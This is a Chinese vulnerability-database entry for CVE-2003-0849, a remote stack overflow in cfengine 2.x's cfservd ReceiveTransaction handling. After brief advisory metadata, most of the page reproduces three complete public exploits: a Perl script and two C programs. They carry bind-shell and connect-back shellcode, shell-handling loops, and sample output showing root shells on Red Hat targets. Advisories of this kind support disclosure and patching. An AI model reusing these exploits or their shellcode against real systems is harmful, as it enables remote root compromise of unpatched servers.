CVE-2003-0849
CVSS7.5
发布时间 :2003-11-17 00:00:00
修订时间 :2016-10-17 22:38:00
NMCOE    

[原文]Buffer overflow in net.c for cfengine 2.x before 2.0.8 allows remote attackers to execute arbitrary code via certain packets with modified length values, which is trusted by the ReceiveTransaction function when using a buffer provided by the BusyWithConnection function.


[CNNVD]cfengine net.c缓冲区溢出漏洞(CNNVD-200311-061)

        cfengine 2.0.8之前的2.x版本中net.c存在缓冲区溢出漏洞。远程攻击者借助修改长度值的特定包执行任意代码,当使用由BusyWithConnection函数提供的缓冲时,ReceiveTransaction函数信任该漏洞。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:gnu:cfengine:2.0.5:pre
cpe:/a:gnu:cfengine:2.0.7GNU Cfengine 2.0.7
cpe:/a:gnu:cfengine:2.0.5:b1
cpe:/a:gnu:cfengine:2.0.6GNU Cfengine 2.0.6
cpe:/a:gnu:cfengine:2.0.3GNU Cfengine 2.0.3
cpe:/a:gnu:cfengine:2.0.5GNU Cfengine 2.0.5
cpe:/a:gnu:cfengine:2.0.2GNU Cfengine 2.0.2
cpe:/a:gnu:cfengine:2.0.4GNU Cfengine 2.0.4
cpe:/a:gnu:cfengine:2.0.1GNU Cfengine 2.0.1
cpe:/a:gnu:cfengine:2.0.0GNU Cfengine 2.0.0
cpe:/a:gnu:cfengine:2.0.7:p1
cpe:/a:gnu:cfengine:2.1.0:a9
cpe:/a:gnu:cfengine:2.0.5:pre2
cpe:/a:gnu:cfengine:2.1.0:a8
cpe:/a:gnu:cfengine:2.0.7:p2
cpe:/a:gnu:cfengine:2.0.7:p3
cpe:/a:gnu:cfengine:2.1.0:a6

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0849
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0849
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200311-061
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=106451047819552&w=2
(UNKNOWN)  BUGTRAQ  20030925 Cfengine2 cfservd remote stack overflow
http://marc.info/?l=bugtraq&m=106485375218280&w=2
(UNKNOWN)  BUGTRAQ  20030928 cfengine2-2.0.3 remote exploit for redhat
http://marc.info/?l=bugtraq&m=106546086216984&w=2
(UNKNOWN)  BUGTRAQ  20031005 GLSA: cfengine (200310-02)

- 漏洞信息

cfengine net.c缓冲区溢出漏洞
高危 缓冲区溢出
2003-11-17 00:00:00 2005-10-20 00:00:00
远程  
        cfengine 2.0.8之前的2.x版本中net.c存在缓冲区溢出漏洞。远程攻击者借助修改长度值的特定包执行任意代码,当使用由BusyWithConnection函数提供的缓冲时,ReceiveTransaction函数信任该漏洞。
        

- 公告与补丁

        

- 漏洞信息 (105)

GNU Cfengine 2.-2.0.3 Remote Stack Overflow Exploit (EDBID:105)
bsd remote
2003-09-27 Verified
5308 kokanin
N/A [点击下载]
#!/usr/bin/perl -s
# kokaninATdtors.net / cfengine2-2.0.3 from freebsd ports 26/sep/2003.
# forking portbind shellcode port=0xb0ef(45295) by eSDee
# bug discovered by nick cleaton, tested on FreeBSD 4.8-RELEASE

use IO::Socket;
if(!$ARGV[1])
{ print "usage: ./DSR-cfengine.pl <host> <port> (default cfengine is 5308)\n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$nop = "\x90";
$ret = pack("l",0xbfafe3dc);
$shellcode = 
"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0".
"\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02".
"\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80".
"\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57".
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89".
"\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50".
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80".
"\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56".
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd".
"\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f".
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b".
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80".
"\xeb\x9a";


$buf = $nop x 2222 . $shellcode . $ret x 500;

$socket = new IO::Socket::INET ( 
Proto  => "tcp",
PeerAddr => $host,
PeerPort => $port, 
);

die "unable to connect to $host:$port ($!)\n" unless $socket;

sleep(1); #you might have to adjust this on slow connections
print $socket $buf;

close($socket);


# milw0rm.com [2003-09-27]
		

- 漏洞信息 (23182)

CFEngine 2.0.x CFServD Transaction Packet Buffer Overrun Vulnerability (1) (EDBID:23182)
linux remote
2003-09-25 Verified
0 jsk
N/A [点击下载]
source: http://www.securityfocus.com/bid/8699/info

cfengine is prone to a stack-based buffer overrun vulnerability. This issue may be exploited by remote attackers who can send malicious transaction packets to cfservd. This issue is due to insufficient bounds checking of data that is read in during a transaction with a remote user.

The vulnerability may be exploited to execute arbitrary code with the privileges of cfservd. A denial of service may also be the result of exploitation attempts as cfservd is multi-threaded and may not be configured to restart itself via a super-server such as inetd. 

/*********************************************************************************\

* jsk / cfengine2-2.0.3 from redhat 

* advisory: http://packetstormsecurity.nl/0309-advisories/cfengine.txt

* forking portbind shellcode 0port=26112)  by netric

* bug discovered by nick cleaton, tested on redhat

* DSR-cfengine.pl :)  i think it has some bugs.maybe it is only public
* version...... possbile another reasns.....
* the begin buf of exploit could be like "111111". so....DSR...
* by jsk from Ph4nt0m Security Team

* jsk@ph4nt0m.net  chat with us ( irc.0x557.org  #ph4nt0m)

* Greets bR-00t. eSdee.B??.lnewy.#cheese and all #ph4nt0m 

* [root@localhost tmp]# ./cnex -h 127.0.0.1 -p 5803 -t 0

*

* cfengine2-2.0.3:server remote buffer overflow exploit

* by jsk.

* Greets bR-00t and all #ph4nt0m .

*[+] Hostname: 127.0.0.1
*[+] Port num: 5308
*[+] Retaddr address: 0x4029cc2c
*[1] #1 Set  codes.
*[1] #1 Set socket.
*[*] attempting to connect: 127.0.0.1:5308.
*[*] successfully connected: 127.0.0.1:5308.
*[1] #1 Send codes.
*[1] #3 Get shell.
*[*] checking to see if the exploit was successful.
*[*] attempting to connect: 127.0.0.1:26112.
*[*] successfully connected: 127.0.0.1:26112.
* id
 *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6  ** (disk),10(wheel)
 


\*********************************************************************************/





#include <stdio.h>

#include <signal.h>

#include <unistd.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#define BUFSIZE 4136

#define D_PORT 5803

#define D_HOST "www.ph4nt0m.net"

#define TIMEOUT 10



char shell[]=  /* bindshell(26112)&, netric. */

        "\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53"
        "\x6a\x02\x89\xe1\xb0\x66\x52"
        "\x50\xcd\x80\x43\x66\x53\x89"
        "\xe1\x6a\x10\x51\x50\x89\xe1"
        "\x52\x50\xb0\x66\xcd\x80\x89"
        "\xe1\xb3\x04\xb0\x66\xcd\x80"
        "\x43\xb0\x66\xcd\x80\x89\xd9"
        "\x93\xb0\x3f\xcd\x80\x49\x79"
        "\xf9\x52\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x89\xe3"
        "\x52\x53\x89\xe1\xb0\x0b\xcd"
        "\x80";
struct op_plat_st

{

int op_plat_num;

char *op_plat_sys;

u_long retaddr;

int off_st;

};

struct op_plat_st __pl_form[]=

{



{0,"red 8.0",0x4029cc2c,0},

{1,"red 9.0(cmp)",0x4029cda0,0},



{2,"red 7.2 (Compile)",0x44444444,0},

{3,"red 7.3 (Compile)",0x44444444,0},

NULL

};

void banrl();

void x_fp_rm_usage(char *x_fp_rm);

unsigned short sock_connect(char *,unsigned short);

void getshell(char *,unsigned short);

void printe(char *,short);

void sig_alarm(){printe("alarm/timeout hit.",1);}

void banrl()

{

fprintf(stdout,"\n cfengine2-2.0.3:server remote buffer overflow exploit)\n");

fprintf(stdout," by jsk.\n");

fprintf(stdout," Greets Br-00t and all #ph4nt0m .\n");

}



void x_fp_rm_usage(char *x_fp_rm)

{

int __t_xmp=0;

fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);

fprintf(stdout,"\t -h [hostname] - target host.\n");

fprintf(stdout,"\t -p [port] - port number.\n");

fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");

fprintf(stdout," Example> %s -h target_hostname -p 8000 -t num\n",x_fp_rm);

fprintf(stdout," Select target number>\n\n");

for(;;)

{

if(__pl_form[__t_xmp].op_plat_num==(0x82))

break;

else

{

fprintf(stdout,"\t {%d} %s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);

}

__t_xmp++;

}

fprintf(stdout,"\n");
exit(0);
}



int main(int argc,char *argv[])

{

int port=D_PORT;

char hostname[0x333]=D_HOST;

int whlp,type=0;

unsigned int i=0;

char *buf;

int sd;

u_long retaddr=__pl_form[type].retaddr;



(void)banrl();

while((whlp=getopt(argc,argv,"T:t:H:h:P:p:IiXx"))!=EOF)

{

extern char *optarg;

switch(whlp)

{

case 'T':

case 't':

if((type=atoi(optarg))<6)

{

retaddr=__pl_form[type].retaddr;

}

else (void)x_fp_rm_usage(argv[0]);

break;





case 'H':

case 'h':

memset((char *)hostname,0,sizeof(hostname));

strncpy(hostname,optarg,sizeof(hostname)-1);

break;



case 'P':

case 'p':

port=atoi(optarg);

break;



case 'I':

case 'i':

fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);

exit(-1);



case '?':

(void)x_fp_rm_usage(argv[0]);

break;

}

}



if(!strcmp(hostname,D_HOST))

{

(void)x_fp_rm_usage(argv[0]);

}

{

fprintf(stdout," [+] Hostname: %s\n",hostname);

fprintf(stdout," [+] Port num: %d\n",port);

fprintf(stdout," [+] Retaddr address: %p\n",retaddr);

}



fprintf(stdout," [1] #1 Set  codes.\n");



 if(!(buf=(char *)malloc(BUFSIZE+1)))

  printe("getcode(): allocating memory failed.",1);



  memset(buf, 0x90, BUFSIZE);

  buf[0] = '1';
  buf[1] = '1';
  buf[2] = '1';
  buf[3] = '1';
  buf[4] = '1';
  buf[5] = '1';
  buf[6] = '1';

  memset(buf+7,0x90,636); 

  memcpy(buf+7+636,shell, sizeof(shell));

  memset(buf+7+636+strlen(shell),0x90,3500); 

  memcpy(&buf[BUFSIZE-(sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(2*sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(3*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  memcpy(&buf[BUFSIZE-(4*sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(5*sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(6*sizeof(retaddr))], &retaddr, sizeof(retaddr));
  memcpy(&buf[BUFSIZE-(7*sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(8*sizeof(retaddr))], &retaddr, sizeof(retaddr));

  memcpy(&buf[BUFSIZE-(9*sizeof(retaddr))], &retaddr, sizeof(retaddr));

 fprintf(stdout," [1] #1 Set socket.\n");

 sd=sock_connect(hostname,port);

fprintf(stdout," [1] #1 Send codes.\n");

 write(sd,buf,BUFSIZE);

 close(sd);
 sleep(1);
fprintf(stdout," [1] #3 Get shell.\n");
 getshell(hostname,26112);
 exit(0);

}

unsigned short sock_connect(char *hostname,

unsigned short port){

 int sock;

 struct hostent *t;

 struct sockaddr_in s;

 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 s.sin_family=AF_INET;

 s.sin_port=htons(port);

 printf("[*] attempting to connect: %s:%d.\n",hostname,port);

 if((s.sin_addr.s_addr=inet_addr(hostname))){

  if(!(t=gethostbyname(hostname)))

   printe("couldn't resolve hostname.",1);

  memcpy((char*)&s.sin_addr,(char*)t->h_addr,

  sizeof(s.sin_addr));

 }

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))

  printe("netris connection failed.",1);

 alarm(0);

 printf("[*] successfully connected: %s:%d.\n",hostname,port);

 return(sock);

 }

void getshell(char *hostname,unsigned short port){

 int sock,r;

 fd_set fds;

 char buf[4096+1];

 struct hostent *he;

 struct sockaddr_in sa;

 printf("[*] checking to see if the exploit was successful.\n");

 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)

  printe("getshell(): socket() failed.",1);

 sa.sin_family=AF_INET;

 if((sa.sin_addr.s_addr=inet_addr(hostname))){

  if(!(he=gethostbyname(hostname)))

   printe("getshell(): couldn't resolve.",1);

  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,

  sizeof(sa.sin_addr));

 }

 sa.sin_port=htons(port);

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 printf("[*] attempting to connect: %s:%d.\n",hostname,port);

 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){

  printf("[!] connection failed: %s:%d.\n",hostname,port);

  return;

 }

 alarm(0);

 printf("[*] successfully connected: %s:%d.\n\n",hostname,port);

 signal(SIGINT,SIG_IGN);

 write(sock,"uname -a;id\n",13);

 while(1){

  FD_ZERO(&fds);

  FD_SET(0,&fds);

  FD_SET(sock,&fds);

  if(select(sock+1,&fds,0,0,0)<1)

   printe("getshell(): select() failed.",1);

  if(FD_ISSET(0,&fds)){

   if((r=read(0,buf,4096))<1)

    printe("getshell(): read() failed.",1);

   if(write(sock,buf,r)!=r)

    printe("getshell(): write() failed.",1);

  }

  if(FD_ISSET(sock,&fds)){

   if((r=read(sock,buf,4096))<1)

    exit(0);

   write(1,buf,r);

  }

 }

 close(sock);

 return;

}

void printe(char *err,short e){

 fprintf(stdout," [-] Failed.\n\n");

 fprintf(stdout," Happy Exploit ! :-)\n\n");



 if(e)

  exit(1);

 return;

}







		

- 漏洞信息 (23183)

CFEngine 2.0.x CFServD Transaction Packet Buffer Overrun Vulnerability (2) (EDBID:23183)
linux remote
2003-11-04 Verified
0 snooq
N/A [点击下载]
source: http://www.securityfocus.com/bid/8699/info
 
cfengine is prone to a stack-based buffer overrun vulnerability. This issue may be exploited by remote attackers who can send malicious transaction packets to cfservd. This issue is due to insufficient bounds checking of data that is read in during a transaction with a remote user.
 
The vulnerability may be exploited to execute arbitrary code with the privileges of cfservd. A denial of service may also be the result of exploitation attempts as cfservd is multi-threaded and may not be configured to restart itself via a super-server such as inetd.

/*****************************************************************
 *                                                               *
 *  Author: snooq [http://www.angelfire.com/linux/snooq/]        *
 *  Date: 4 November 2003                                        *
 *                                                               *
 *  Yet another version.. no big deal.. nothing special..        *
 *  just an extra built-in support for 'connect-back' shell..    *
 *  so that I dun need 'nc -l -p 31337' stuffs... duh !?!        *
 *                                                               *
 *  Anyway.. credit should go to Nick Cleaton who disovered      *
 *  this nice little 'bug'... ;)                                 *
 *                                                               *
 *  As usual, use it at your very own risk...                    *
 *  But then again, I really doubt this code will work for you   *
 *  nicely out of the box. You still gotta find the rite offset  *
 *  for yourself... =p                                           *
 *                                                               *
 *  Greetz:                                                      *
 *  # jf, eugene, nam, wenbin...                                 *
 *  # airvirus (?!! I still dunno ur real name yet ?!)           *
 *                                                               *
 *****************************************************************/

/*
===================== cfservd under attack =======================

[root@pinoir tmp]# /usr/local/sbin/cfservd --debug --verbose
cfservd Debug mode: running in foreground

<snip>
......................
</snip>

*** New socket [5]
New connection...(from 192.168.1.2/5)
Spawning new thread...
Checking file updates on /var/cfengine/inputs/cfservd.conf 
(3fa74f2b/3fa77e9f)
RecvSocketStream(8)
    (Concatenated 8 from stream)
Transaction Receive [88888][]
RecvSocketStream(8888)
    (Concatenated 4192 from stream)
Transmission empty...
Received: ['\x90'......1???QQQ?f????PPfha,fS?SRQ???1??
1??1?R?f?????0?1??PW?f?????9?@1	?1????1???
1???1?h//shh/bin?PS??1??1	?? on socket -1869574000
Transaction Send[t 20][Packed text]
cfservd: Couldn't send
cfservd: send
cfservd: Closing connection

==================================================================
*/

/*
===================== sample attack 1 ============================

[snooq@arizona snooq]$ ./a.out -h 192.168.1.1

Cfservd Remote Exploit by snooq [ jinyean@hotmail.com ]
Tested to work against cfservd 2.0.7 on Redhat 8.0

-> Using return address of 0x4029eeff
-> 'Connecting' mode...
-> Exploit string sent. Waiting for a shell...
-> Connecting to shell at 192.168.1.1:24876
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),
4(adm),6(disk),10(wheel)
exit
-> Connection closed by remote host.
[snooq@arizona snooq]$

==================================================================
*/

/*
===================== sample attack 2 ============================

[snooq@arizona snooq]$ ./a.out -l -i 192.168.1.2 -h 192.168.1.1

Cfservd Remote Exploit by snooq [ jinyean@hotmail.com ]
Tested to work against cfservd 2.0.7 on Redhat 8.0

-> Using return address of 0x4029eeff
-> 'Listening' mode...( port: 24876 )
-> Exploit string sent....
-> Waiting for connection....
-> Connection from: 192.168.1.1
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),
4(adm),6(disk),10(wheel)
exit
[snooq@arizona snooq]$

==================================================================
*/

#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>

#define ALIGN		0	
#define HDR_SIZE	5	
#define TIME_OUT	10
#define HDR		0x38	// Anything between 1 ~ 9
#define NOP		0x90
#define T_PORT		5308
#define S_PORT		24876
#define RET_SIZE	400
#define BUFF_SIZE	4200
#define RET_ADDR	0x4029eeff

#define RET_OFFSET	0
#define IP_OFFSET	33
#define PORT_OFFSET_1 	35	// bind port shellcode
#define PORT_OFFSET_2 	39	// connect back shellcode
#define SC_SIZE_1	sizeof(bindport)
#define SC_SIZE_2	sizeof(connback)

#define CMD		"/usr/bin/id\n"

/* 
 *  Shellcode were shamelessly ripped from netric's code... =p
 */

char bindport[]=
	"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
	"\x06\x51\xb1\x01\x51\xb1\x02\x51"
	"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
	"\x89\xc1\x31\xc0\x31\xdb\x50\x50"
	"\x50\x66\x68\x61\x2c\xb3\x02\x66"
	"\x53\x89\xe2\xb3\x10\x53\xb3\x02"
	"\x52\x51\x89\xca\x89\xe1\xb0\x66"
	"\xcd\x80\x31\xdb\x39\xc3\x74\x05"
	"\x31\xc0\x40\xcd\x80\x31\xc0\x50"
	"\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
	"\x80\x89\xd7\x31\xc0\x31\xdb\x31"
	"\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
	"\x80\x31\xc0\x31\xdb\x50\x50\x57"
	"\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
	"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
	"\xcd\x80\x39\xc3\x75\x40\x31\xc0"
	"\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
	"\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
	"\x31\xc0\x41\xb0\x3f\xcd\x80\x31"
	"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
	"\x50\x68\x2f\x2f\x73\x68\x68\x2f"
	"\x62\x69\x6e\x89\xe3\x8b\x54\x24"
	"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
	"\x80\x31\xc0\x40\xcd\x80\x31\xc0"
	"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
	
char connback[]=
	"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
	"\x06\x51\xb1\x01\x51\xb1\x02\x51"
	"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
	"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
	"\x68\x41\x42\x43\x44\x66\x68\xb0"
	"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
	"\x10\x53\x57\x52\x89\xe1\xb3\x03"
	"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
	"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
	"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
	"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
	"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
	"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
	"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
	"\x2f\x62\x69\x89\xe3\x50\x53\x89"
	"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
	"\x01\xcd\x80";

/*
 *  Ugly select() stuffs....
 *  Modified (a little) from TESO's code.. 
 *  to support connect back shell.... ;)
 */

void doshell(int sock) {
        int     l, sent;
        char    buf[512];
        fd_set  rfds;
	fd_set  wfds;

        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);
		FD_SET (sock, &wfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                
		if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                fprintf(stdout,"-> Connection closed by local user\n");
                                exit (EXIT_FAILURE);
                        }
			sent=0;
			while (!sent) {
				select (sock+1, NULL, &wfds, NULL, NULL);
				if (FD_ISSET(sock, &wfds)) {
					write(sock, buf, l);
					sent=1;
				}
			}
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                fprintf(stdout,"-> Connection closed by remote host.\n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                fprintf(stdout,"-> read() error\n");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}

void err_exit(char *s) {
	perror(s);
	exit(0);
}

void changeip(char *ip) {
	char *ptr;
	ptr=connback+IP_OFFSET;
	/* Assume Little-Endianess.... */
	*((long *)ptr)=inet_addr(ip);
}

void changeport(char *code, int port, int offset) {
	char *ptr;
	ptr=code+offset;
	/* Assume Little-Endianess.... */
	*ptr++=(char)((port>>8)&0xff);
	*ptr++=(char)(port&0xff);
}

void sendcmd(int sock) {
	if (send(sock,CMD,strlen(CMD),0)<0) {
		err_exit("-> send() error");
	}
}

void usage(char *s) {
	fprintf(stdout,"\nUsage: %s [-options]\n\n",s);
	fprintf(stdout,"\t-r\tSize of 'return addresses'\n");
	fprintf(stdout,"\t-b\tThe overall size of the buffer\n");
	fprintf(stdout,"\t-a\tAlignment size [0~3]\n");
	fprintf(stdout,"\t-t\tTarget's port\n");
	fprintf(stdout,"\t-s\tPort to bind shell to (in 'connecting' mode), or\n");
	fprintf(stdout,"\t\tPort for shell to connect back (in 'listening' mode)\n");
	fprintf(stdout,"\t-o\tOffset from the default return address\n");
	fprintf(stdout,"\t-h\tTarget's IP\n");
	fprintf(stdout,"\t-l\tListening for shell connecting\n");
	fprintf(stdout,"\t\tback to port specified by '-s' switch\n");
	fprintf(stdout,"\t-i\tIP for shell to connect back\n");
	fprintf(stdout,"\t-T\tNumber of seconds to wait for connection\n\n");
	fprintf(stdout,"\tNotes:\n\t======\n\t'-h' is mandatory\n");
	fprintf(stdout,"\t'-i' is mandatory if '-l' is specified\n\n");
	exit(0);
}

void sigalrm() {
	fprintf(stdout,"-> Nope.. I ain't waiting any longer.. =p\n");
	exit(0);
}

int main(int argc, char *argv[]) {

	char opt;
	char *buf, *ptr, *ip="";
	struct sockaddr_in sockadd;
	int i, s1, s2, i_len, ok=0, mode=0;
	int time_out=TIME_OUT, scsize=SC_SIZE_1;
	int s_port=S_PORT, t_port=T_PORT, offset=RET_OFFSET;
	int retsize=RET_SIZE, align=ALIGN, buffsize=BUFF_SIZE;
	long ret_addr;

	if (argc<2) { usage(argv[0]); }

	while ((opt=getopt(argc,argv,"i:r:b:a:h:t:s:o:T:l"))!=EOF) {
		switch(opt) {
			case 'i':
			ip=optarg;
			changeip(ip);
			break;

			case 'l':
			mode=1;
			scsize=SC_SIZE_2;
			break;
			
			case 'T':
			time_out=atoi(optarg);
			break;

			case 'b':
			buffsize=atoi(optarg);
			break;

			case 'a':
			align=atoi(optarg);
			break;

			case 'h':
			ok=1;
			sockadd.sin_addr.s_addr = inet_addr(optarg);
			break;

			case 'r':
			retsize=atoi(optarg);
			break;

			case 't':
			t_port=atoi(optarg);
			break;

			case 's':
			s_port=atoi(optarg);
			break;

			case 'o':
			offset=atoi(optarg);
			break;

			default:
			usage(argv[0]);
			break;
		}
	}

	if (!ok || (mode&&((strcmp(ip,"")==0)) ) ) { usage(argv[0]); }

	if (!(buf=malloc(buffsize+1))) {
		err_exit("-> malloc() error");
	}

	ret_addr=RET_ADDR-offset;
	fprintf(stdout,"\nCfservd Remote Exploit by snooq [ jinyean@hotmail.com ]\n");
	fprintf(stdout,"Tested to work against cfservd 2.0.7 on Redhat 8.0\n\n");
	fprintf(stdout,"-> Using return address of 0x%08x\n", ret_addr);

	ptr=buf;
	for(i=0;i<HDR_SIZE+align;i++) { *ptr++=HDR; }
	for(i=0;i<(buffsize-HDR_SIZE-align-scsize-retsize);i++) { *ptr++=NOP; }
	if (mode) {
	    	changeport(connback, s_port, PORT_OFFSET_2);
	    	for(i=0;i<scsize;i++) { *ptr++=connback[i]; }
	}
	else {
		changeport(bindport, s_port, PORT_OFFSET_1);
		for(i=0;i<scsize;i++) { *ptr++=bindport[i]; }
	}
	for(i=0;i<retsize;i+=4) {
		*((long *)ptr)=ret_addr;
		ptr+=4;
	}
	*ptr++=0;

	sockadd.sin_family = AF_INET;
	sockadd.sin_port = htons(t_port);

	if ((s1=socket(AF_INET,SOCK_STREAM,0))<0) {
		err_exit("-> socket error");
	}

	if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) {
		err_exit("-> connect() error");
	}

	if (mode) {

		fprintf(stdout,"-> 'Listening' mode...( port: %d )\n",s_port);

		if (fork()==0) {
			sleep(2);
			if (send(s1,buf,buffsize,0)<0) {
				err_exit("-> send() error");
			}
			fprintf(stdout,"-> Exploit string sent....\n");
			exit(0);
		}

		else {

			signal(SIGALRM,sigalrm);
			alarm(time_out);

			if ((s2=socket(AF_INET,SOCK_STREAM,0))<0) {
        			err_exit("-> socket error");
			}

			memset(&sockadd,0,sizeof(sockadd));
			sockadd.sin_family = AF_INET;
			sockadd.sin_port = htons(s_port);
			sockadd.sin_addr.s_addr = htonl(INADDR_ANY);
			i_len=sizeof(sockadd);

			if (bind(s2,(struct sockaddr *)&sockadd,i_len)<0) {
				err_exit("-> bind() error");
			}

			if (listen(s2,0)<0) {
				err_exit("-> listen() error");
			}

			wait();
			close(s1);
			fprintf(stdout,"-> Waiting for connection....\n");

			s1=accept(s2,(struct sockaddr *)&sockadd,&i_len);

			if (s1<0) {
				err_exit("-> accept() error");
			}

			alarm(0);

			fprintf(stdout,"-> Connection from: %s\n",inet_ntoa(sockadd.sin_addr));

			sendcmd(s1);
			doshell(s1);

		}

	}

	else {

		if (send(s1,buf,buffsize,0)<0) {
			err_exit("-> send() error");
		}

		close(s1);
		
		fprintf(stdout,"-> 'Connecting' mode...\n");
		fprintf(stdout,"-> Exploit string sent. Waiting for a shell...\n");
		sleep(2);

		sockadd.sin_family = AF_INET;
		sockadd.sin_port = htons(s_port);

		if ((s1=socket(AF_INET,SOCK_STREAM,0))<0) {
			err_exit("-> socket() error");
		}

		if(connect(s1,(struct sockaddr *)&sockadd, sizeof(sockadd))<0) {
        		fprintf(stdout,"-> Exploit failed. Target probably segfaulted...\n\n");
			exit(0);
		}
    
		fprintf(stdout,"-> Connecting to shell at %s:%d\n",inet_ntoa(sockadd.sin_addr),s_port);

		sendcmd(s1);
		doshell(s1);

	}

	return(0);
	
}


		

- 漏洞信息

2611
Cfengine cfservd ReceiveTransaction Function Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-09-25 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站